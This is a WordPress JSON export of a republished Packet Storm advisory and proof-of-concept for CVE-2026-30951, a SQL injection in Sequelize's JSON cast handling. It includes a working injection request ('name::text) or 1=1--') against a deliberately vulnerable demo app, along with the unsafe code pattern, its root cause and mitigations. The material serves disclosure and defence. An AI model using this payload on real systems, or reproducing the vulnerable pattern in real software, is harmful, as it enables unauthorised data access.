{"id":49712,"date":"2026-04-27T11:38:31","date_gmt":"2026-04-27T11:38:31","guid":{"rendered":"http:\/\/localhost\/?p=49712"},"modified":"2026-04-27T11:38:31","modified_gmt":"2026-04-27T11:38:31","slug":"sequelize-6377-sql-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=49712","title":{"rendered":"\ud83d\udcc4 Sequelize 6.37.7 SQL Injection_PACKETSTORM:219872"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-27T16:31:17&#8243;,&#8221;description&#8221;:&#8221;A remote SQL injection vulnerability exists Sequelize versions 6.37.7 and below in the JSON\/JSONB where clause processing. When Sequelize parses a JSON path key containing ::, the value after :: is treated as a SQL cast type and is inserted into the&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-27T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-27T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Sequelize 6.37.7 SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:219872&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-30951&#8243;],&#8221;sourceData&#8221;:&#8221;# CVE-2026-30951 Sequelize JSON Cast SQL Injection\\n    \\n    **\u2605 CVE-2026-30951 Sequelize ORM SQL Injection PoC \u2605**\\n    \\n    https:\/\/github.com\/user-attachments\/assets\/30b19211-890a-4780-acd9-04856ec98381\\n    \\n    # Overview\\n    \\n    \\u003e **CVE-2026-30951** is a **SQL Injection** vulnerability in **Sequelize v6**, a widely used Node.js ORM.\\n    \\u003e \\n    \\u003e The vulnerability exists in JSON\/JSONB `where` clause processing. When Sequelize parses a JSON path key containing `::`, the value after `::` is treated as a SQL cast type and is inserted into the generated SQL without proper validation.\\n    \\u003e \\n    \\u003e If an attacker can control JSON object keys passed into a Sequelize `where` clause, they can manipulate the generated SQL query.\\n    \\n    # Affected Versions\\n    \\n    | Category | Version |\\n    | &#8212; | &#8212; |\\n    | **Vulnerable** | Sequelize **v6.x \\\\\\u003c= 6.37.7** |\\n    | **Patched** | Sequelize **6.37.8** |\\n    | **Not affected** | Sequelize v7 \/ `@sequelize\/core` |\\n    \\n    # Impact\\n    \\n    *   SQL injection through attacker-controlled JSON object keys\\n    *   Search filter bypass through boolean-based injection\\n    *   Unintended query condition manipulation inside ORM-generated SQL\\n    \\n    # Environment\\n    \\n    This repository contains a minimal vulnerable Node.js, Express, Sequelize, and SQLite challenge app.\\n    \\n    ## Local Run\\n    \\n    &#8220;`\\n    npm install\\n    npm start\\n    &#8220;`\\n    \\n    The app starts on:\\n    \\n    &#8220;`\\n    http:\/\/127.0.0.1:9100\\n    &#8220;`\\n    \\n    ## Docker\\n    \\n    &#8220;`\\n    docker build -t cve-2026-30951-sequelize-vuln .\\n    docker run &#8211;rm -it -p 9100:9100 &#8211;name sequelize-vuln cve-2026-30951-sequelize-vuln\\n    &#8220;`\\n    \\n    The Docker container starts on:\\n    \\n    &#8220;`\\n    http:\/\/127.0.0.1:9100\\n    &#8220;`\\n    \\n    # PoC\\n    \\n    After starting the vulnerable environment, follow the steps below to reproduce the injection.\\n    \\n    ## Step 1. Send a normal search request\\n    \\n    &#8220;`\\n    POST \/api\/users\/search\\n    Content-Type: application\/json\\n    \\n    {\\n      \\&#8221;filter\\&#8221;: {\\n        \\&#8221;name\\&#8221;: \\&#8221;emma\\&#8221;\\n      }\\n    }\\n    &#8220;`\\n    \\n    This returns only users matching the normal name search logic.\\n    \\n    ## Step 2. Trigger a boolean-based SQL injection\\n    \\n    &#8220;`\\n    POST \/api\/users\/search\\n    Content-Type: application\/json\\n    \\n    {\\n      \\&#8221;filter\\&#8221;: {\\n        \\&#8221;name::text) or 1=1&#8211;\\&#8221;: \\&#8221;emma\\&#8221;\\n      }\\n    }\\n    &#8220;`\\n    \\n    Expected result:\\n    \\n    &#8220;`\\n    All user rows are returned.\\n    &#8220;`\\n    \\n    ## Step 3. Confirm that SQL injection occurred\\n    \\n    The crafted JSON key causes Sequelize to generate a cast expression similar to:\\n    \\n    &#8220;`\\n    CAST(json_extract(`User`.`metadata`, &#8216;$.name&#8217;) AS TEXT) OR 1=1&#8211;)\\n    &#8220;`\\n    \\n    Because the cast type is attacker-controlled, the `OR 1=1` condition changes the intended `WHERE` clause behavior. Returning all rows from the same search endpoint confirms that SQL injection is possible.\\n    \\n    ## Analysis\\n    \\n    ### Technical Root Cause\\n    \\n    The vulnerability is caused by insufficient validation of JSON cast types in Sequelize v6.\\n    \\n    Internally, Sequelize&#8217;s JSON traversal logic splits JSON path keys on `::`:\\n    \\n    &#8220;`\\n    jsonKey::castType\\n    &#8220;`\\n    \\n    The cast type is then used in generated SQL like:\\n    \\n    &#8220;`\\n    CAST(\\u003cjson_extract_expression\\u003e AS \\u003ccast_type\\u003e)\\n    &#8220;`\\n    \\n    In vulnerable versions, `\\u003ccast_type\\u003e` is not safely escaped or restricted to a known-safe allowlist. This allows an attacker-controlled JSON key to break out of the cast expression and inject SQL.\\n    \\n    ### Dangerous Pattern\\n    \\n    Any application pattern similar to the following may be vulnerable when using affected Sequelize versions:\\n    \\n    &#8220;`\\n    app.post(&#8216;\/api\/users\/search&#8217;, async (req, res) =\\u003e {\\n      const users = await User.findAll({\\n        where: {\\n          metadata: req.body.filter\\n        }\\n      });\\n    \\n      res.json(users);\\n    });\\n    &#8220;`\\n    \\n    This is dangerous because the attacker controls not only JSON values, but also JSON object keys.\\n    \\n    ### Why This Matters\\n    \\n    This vulnerability is especially dangerous because many developers assume ORM query builders automatically protect against SQL injection. In this case, the injection happens inside ORM-generated SQL, after the application has already passed structured JavaScript objects to Sequelize.\\n    \\n    Depending on the application logic, exploitation may allow:\\n    \\n    *   bypassing intended search filters\\n    *   altering boolean query conditions\\n    *   changing the behavior of ORM-generated SQL\\n    \\n    This is fundamentally a **CWE-89: Improper Neutralization of Special Elements used in an SQL Command** issue.\\n    \\n    ## Scenario\\n    \\n    &#8220;`\\n    +&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+\\n    |                  Attacker                 |\\n    +&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+\\n                          |\\n                          | Sends crafted JSON filter\\n                          | with malicious name:: key\\n                          v\\n    +&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+\\n    |        POST \/api\/users\/search             |\\n    +&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+\\n                          |\\n                          | Sequelize JSON where clause\\n                          | processes key containing ::\\n                          v\\n    +&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+\\n    |     Unescaped SQL cast type injection     |\\n    +&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+\\n                          |\\n                          | Boolean condition manipulation\\n                          v\\n    +&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+\\n    |          SQL Injection Confirmed          |\\n    +&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+\\n    &#8220;`\\n    \\n    # Mitigation\\n    \\n    *   Upgrade Sequelize to **6.37.8 or later**\\n    *   Do not pass user-controlled objects directly into Sequelize JSON\/JSONB `where` clauses\\n    *   Reject or normalize user-controlled JSON keys before building ORM filters\\n    *   Use whitelist-based filter construction instead of accepting arbitrary request body objects\\n    *   Reject JSON keys containing SQL control syntax or cast separators such as `::` unless explicitly required\\n    *   Prefer server-defined query fields, for example:\\n    \\n    &#8220;`\\n    const allowedFilters = [&#8216;name&#8217;, &#8216;role&#8217;, &#8216;team&#8217;, &#8216;office&#8217;, &#8216;department&#8217;];\\n    \\n    if (!allowedFilters.includes(req.body.field)) {\\n      throw new Error(&#8216;Invalid filter field&#8217;);\\n    }\\n    &#8220;`\\n    \\n    # Disclaimer\\n    \\n    This repository is intended for security research, defensive validation, and educational use in controlled environments only.\\n    \\n    Do not use this PoC against systems you do not own or do not have explicit permission to test.\\n    \\n    # EQST Insight\\n    We publish CVE and malware analysis once a month. If you&#8217;re interested, please follow the links below to check out our publications.\\n    &#8211; https:\/\/www.skshieldus.com\/security-insights\/reports?tab=eqst\\n    \\n    \\n    # References\\n    \\n    *   https:\/\/github.com\/sequelize\/sequelize\/security\/advisories\/GHSA-6457-6jrx-69cr\\n    *   https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2026-30951\\n    *   https:\/\/osv.dev\/vulnerability\/CVE-2026-30951\\n    *   https:\/\/advisories.gitlab.com\/npm\/sequelize\/CVE-2026-30951\/\\n    *   https:\/\/github.com\/sequelize\/sequelize&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/219872&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.5,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:N\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/219872\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-27T16:31:17&#8243;,&#8221;description&#8221;:&#8221;A remote SQL injection vulnerability exists Sequelize versions 6.37.7 and below in the JSON\/JSONB where clause processing. When Sequelize parses a JSON path key containing&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-49712","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Sequelize 6.37.7 SQL Injection_PACKETSTORM:219872 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=49712\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Sequelize 6.37.7 SQL Injection_PACKETSTORM:219872 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-04-27T16:31:17&#8243;,&#8221;description&#8221;:&#8221;A remote SQL injection vulnerability exists Sequelize versions 6.37.7 and below in the JSON\/JSONB where clause processing. When Sequelize parses a JSON path key containing...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=49712\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-27T11:38:31+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49712#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49712\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Sequelize 6.37.7 SQL Injection_PACKETSTORM:219872\",\"datePublished\":\"2026-04-27T11:38:31+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49712\"},\"wordCount\":1151,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.5\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=49712#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49712\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49712\",\"name\":\"\ud83d\udcc4 Sequelize 6.37.7 SQL Injection_PACKETSTORM:219872 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-04-27T11:38:31+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49712#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=49712\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49712#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Sequelize 6.37.7 SQL Injection_PACKETSTORM:219872\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Sequelize 6.37.7 SQL Injection_PACKETSTORM:219872 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=49712","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Sequelize 6.37.7 SQL Injection_PACKETSTORM:219872 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-04-27T16:31:17&#8243;,&#8221;description&#8221;:&#8221;A remote SQL injection vulnerability exists Sequelize versions 6.37.7 and below in the JSON\/JSONB where clause processing. When Sequelize parses a JSON path key containing...","og_url":"https:\/\/zero.redgem.net\/?p=49712","og_site_name":"zero redgem","article_published_time":"2026-04-27T11:38:31+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=49712#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=49712"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Sequelize 6.37.7 SQL Injection_PACKETSTORM:219872","datePublished":"2026-04-27T11:38:31+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=49712"},"wordCount":1151,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.5","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=49712#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=49712","url":"https:\/\/zero.redgem.net\/?p=49712","name":"\ud83d\udcc4 Sequelize 6.37.7 SQL Injection_PACKETSTORM:219872 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-04-27T11:38:31+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=49712#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=49712"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=49712#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Sequelize 6.37.7 SQL Injection_PACKETSTORM:219872"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/49712","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=49712"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/49712\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=49712"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=49712"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=49712"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}